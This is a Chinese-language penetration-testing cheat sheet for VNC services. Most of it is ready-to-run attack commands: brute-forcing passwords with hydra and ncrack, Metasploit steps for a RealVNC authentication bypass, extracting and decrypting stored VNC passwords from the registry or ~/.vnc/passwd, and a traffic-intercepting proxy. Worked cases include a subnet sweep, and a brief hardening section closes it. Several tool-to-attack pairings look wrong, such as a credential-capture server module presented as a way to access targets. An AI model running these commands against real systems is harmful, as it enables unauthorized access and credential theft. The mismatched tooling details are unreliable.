5900-5910 - VNC 服务渗透测试
服务概述
VNC (Virtual Network Computing) 是远程桌面协议。弱密码、未加密传输是主要安全问题。
默认端口 : 5900-5910 (TCP)
危害等级 : ⭐⭐⭐
信息收集
服务识别
# nmap 扫描
nmap -sV --script vnc-info,realvnc-auth-bypass -p 5900 TARGET
# 获取服务器信息
nmap --script vnc-title -p 5900 TARGET
# 截图
nmap --script vnc-screenshot -p 5900 TARGET
版本检测
# 手动连接
nc TARGET 5900
# 输出:RFB 003.008 (VNC 版本)
# 使用 vncviewer
vncviewer TARGET::5900
常见攻击手法
1. 弱密码爆破
原理 : VNC 密码通常较短 (最多 8 字符)。
利用 :
# hydra
hydra -P rockyou.txt vnc://TARGET
# ncrack
ncrack -V --user admin -P rockyou.txt vnc://TARGET
# patator
patator vnc_login host= TARGET password= FILE0 0= rockyou.txt
2. RealVNC 认证绕过 (CVE-2006-2369)
原理 : RealVNC 4.1.1 之前版本存在认证绕过。
检测 :
# nmap 检测
nmap --script realvnc-auth-bypass -p 5900 TARGET
# 输出:
# VULNERABLE: RealVNC Authentication Bypass
利用 :
# 使用 metasploit
use exploit/unix/vnc/vnc_keyboard_exec
set RHOST TARGET
run
# 或直接连接
vncviewer TARGET::5900
# 无需密码即可连接
3. 未授权访问
原理 : VNC 配置为无密码认证。
检测 :
# nmap 检测
nmap --script vnc-info -p 5900 TARGET
# 输出:
# Security Types: 1 (None)
利用 :
# 直接连接
vncviewer TARGET::5900
# 或使用 metasploit
use auxiliary/server/capture/vnc
set SRVHOST 0.0.0.0
set SRVPORT 5900
run
4. 密码解密
原理 : VNC 密码使用固定密钥 DES 加密。
利用 :
# 从注册表提取密码 (Windows)
reg query "HKCU\Software\ORL\WinVNC3" /v Password
# 或使用 mimikatz
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # vault::cred
# 解密工具
python3 vnc_decrypt.py ENCRYPTED_PASSWORD
5. 中间人攻击
原理 : VNC 流量未加密可被嗅探。
利用 :
# 嗅探流量
tshark -i eth0 -Y "vnc" -T fields -e vnc.password
# 使用 vncmitm
git clone https://github.com/jart/vncmitm
cd vncmitm
make
# 启动 MITM
./vncmitm -l 5900 TARGET:5900
# 受害者连接后
# 可记录按键、截图
实战案例
案例 1: 弱密码爆破
# 1. 扫描 VNC
nmap -sV --script vnc-info -p 5900 TARGET
# 输出:
# 5900/tcp open vnc VNC (protocol 3.8)
# 2. 暴力破解
hydra -P rockyou.txt vnc://TARGET
# 输出:
# [5900][vnc] host: TARGET, password: vnc123
# 3. 连接
vncviewer TARGET::5900
# 输入密码:vnc123
案例 2: RealVNC 认证绕过
# 1. 检测漏洞
nmap --script realvnc-auth-bypass -p 5900 TARGET
# 输出:
# VULNERABLE: RealVNC Authentication Bypass
# 2. 连接
vncviewer TARGET::5900
# 3. 无需密码即可访问桌面
案例 3: 内网 VNC 渗透
# 1. 扫描内网 VNC
nmap -sV -p 5900 192.168.1.0/24
# 输出:
# 192.168.1.50:5900 (VNC)
# 192.168.1.100:5900 (VNC)
# 2. 测试认证
nmap --script vnc-info -p 5900 192.168.1.50
# 3. 暴力破解
hydra -P rockyou.txt vnc://192.168.1.50
# 4. 连接
vncviewer 192.168.1.50::5900
案例 4: VNC 密码窃取
# 1. 获取访问权限
# 通过其他方式
# 2. 提取 VNC 密码
# Linux
cat ~/.vnc/passwd
# Windows
reg query "HKCU\Software\ORL\WinVNC3" /v Password
# 3. 解密
python3 vnc_decrypt.py encrypted_password
# 4. 使用密码连接其他 VNC 服务器
工具
vncviewer
# 基本连接
vncviewer TARGET::5900
# 指定密码文件
vncviewer -password-file passwd.txt TARGET::5900
# 只读模式
vncviewer -shared TARGET::5900
# 全屏模式
vncviewer -fullscreen TARGET::5900
hydra
# VNC 暴力破解
hydra -P rockyou.txt vnc://TARGET
# 指定端口
hydra -P rockyou.txt vnc://TARGET:5901
# 详细输出
hydra -vV -P rockyou.txt vnc://TARGET
nmap scripts
# VNC 信息
nmap --script vnc-info -p 5900 TARGET
# VNC 标题
nmap --script vnc-title -p 5900 TARGET
# VNC 截图
nmap --script vnc-screenshot -p 5900 TARGET
# RealVNC 绕过检测
nmap --script realvnc-auth-bypass -p 5900 TARGET
# VNC 扫描
use auxiliary/scanner/vnc/vnc_none_auth
set RHOSTS TARGET
run
# VNC 登录
use auxiliary/scanner/vnc/vnc_login
set RHOSTS TARGET
set PASSWORD_FILE rockyou.txt
run
# VNC 服务器
use auxiliary/server/capture/vnc
set SRVHOST 0.0.0.0
run
防御建议
服务器配置
# 1. 设置强密码
# 最小 12 字符
# 复杂度要求
# 2. 启用加密
# 使用 VNC over SSH 或 SSL
# 3. 限制访问
# 防火墙规则
iptables -A INPUT -p tcp --dport 5900 -s 192.168.1.0/24 -j ACCEPT
iptables -A INPUT -p tcp --dport 5900 -j DROP
# 4. 禁用未授权访问
# 配置需要认证
# 5. 更新软件
# 使用最新 VNC 版本
SSH 隧道
# 通过 SSH 连接 VNC
ssh -L 5900:localhost:5900 user@TARGET
# 本地连接
vncviewer localhost::5900
# 这样 VNC 流量通过 SSH 加密
监控检测
# 1. 日志监控
# VNC 服务器日志
# 认证失败记录
# 2. 流量分析
tshark -i eth0 -Y "vnc" -T fields -e ip.src -e ip.dst
# 3. 异常检测
# 大量认证失败
# 非工作时间连接
# 未知 IP 访问
参考链接